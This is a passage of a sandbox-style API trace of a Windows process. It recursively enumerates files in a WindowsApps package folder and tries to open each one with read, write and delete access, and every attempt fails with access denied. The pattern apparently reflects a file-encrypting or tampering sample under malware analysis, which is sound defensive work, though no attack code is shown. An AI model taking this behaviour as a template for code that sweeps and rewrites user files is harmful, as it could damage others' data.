	[0082.052] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a5530
	[0082.052] wcscpy (in: _Dest=0x46a5530, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe"
	[0082.052] wcscat (in: _Dest=0x46a5530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\"
	[0082.052] wcscat (in: _Dest=0x46a5530, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.165] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.165] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.165] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.165] GetLastError () returned 0x5
	[0091.165] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5530) returned 1
	[0091.165] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12fc9b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x12fc9b2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x12fc9b2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.165] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.165] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12e18
	[0091.165] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe"
	[0091.165] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\"
	[0091.165] wcscat (in: _Dest=0x2e12e18, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0091.166] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0091.166] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.166] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.166] GetLastError () returned 0x5
	[0091.166] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.166] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1348e69, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0b1b1e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1348e69, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.166] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.166] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718350
	[0091.166] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe"
	[0091.166] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\"
	[0091.166] wcscat (in: _Dest=0x4718350, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718eb0
	[0091.166] wcscpy (in: _Dest=0x4718eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.166] wcscat (in: _Dest=0x4718eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.166] wcscat (in: _Dest=0x4718eb0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0091.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1348e69, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0b1b1e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1348e69, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1a8
	[0091.167] wcscmp (_String1=".", _String2=".") returned 0
	[0091.167] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1348e69, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0b1b1e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1348e69, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.167] wcscmp (_String1="..", _String2=".") returned 1
	[0091.167] wcscmp (_String1="..", _String2="..") returned 0
	[0091.167] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1348e69, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x136f0c2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x136f0c2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d97, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0091.167] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0091.167] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0091.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491d178
	[0091.167] wcscpy (in: _Dest=0x491d178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.167] wcscat (in: _Dest=0x491d178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.167] wcscat (in: _Dest=0x491d178, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.167] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.172] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.172] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.172] GetLastError () returned 0x5
	[0091.172] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d178) returned 1
	[0091.172] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1348e69, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x136f0c2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x136f0c2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d97, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.172] FindClose (in: hFindFile=0x477b1a8 | out: hFindFile=0x477b1a8) returned 1
	[0091.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0091.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718eb0) returned 1
	[0091.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718350) returned 1
	[0091.173] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1322c10, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1348e69, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1348e69, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.173] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.173] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12e18
	[0091.173] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe"
	[0091.173] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\"
	[0091.173] wcscat (in: _Dest=0x2e12e18, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.173] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.173] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.173] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.173] GetLastError () returned 0x5
	[0091.173] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.173] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x136f0c2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x139531c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x139531c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4d3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140_app.dll", cAlternateFileName="")) returned 1
	[0091.174] wcscmp (_String1="concrt140_app.dll", _String2=".") returned 1
	[0091.174] wcscmp (_String1="concrt140_app.dll", _String2="..") returned 1
	[0091.174] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x139531c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x139531c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x139531c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0091.174] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0091.174] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0091.174] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0091.174] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe"
	[0091.174] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\"
	[0091.174] wcscat (in: _Dest=0x4926008, _Source="logo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png"
	[0091.174] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png")) returned 0x20
	[0091.174] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0091.174] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.174] GetLastError () returned 0x5
	[0091.174] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0091.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.175] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb13a1d82, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.175] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.175] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491ce80
	[0091.175] wcscpy (in: _Dest=0x491ce80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe"
	[0091.175] wcscat (in: _Dest=0x491ce80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\"
	[0091.175] wcscat (in: _Dest=0x491ce80, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778660
	[0091.175] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.175] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.176] wcscat (in: _Dest=0x4778660, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0091.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb13a1d82, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b0e8
	[0091.176] wcscmp (_String1=".", _String2=".") returned 0
	[0091.176] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb13a1d82, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.176] wcscmp (_String1="..", _String2=".") returned 1
	[0091.176] wcscmp (_String1="..", _String2="..") returned 0
	[0091.176] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec3ce583, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 1
	[0091.176] wcscmp (_String1="Autogen", _String2=".") returned 1
	[0091.176] wcscmp (_String1="Autogen", _String2="..") returned 1
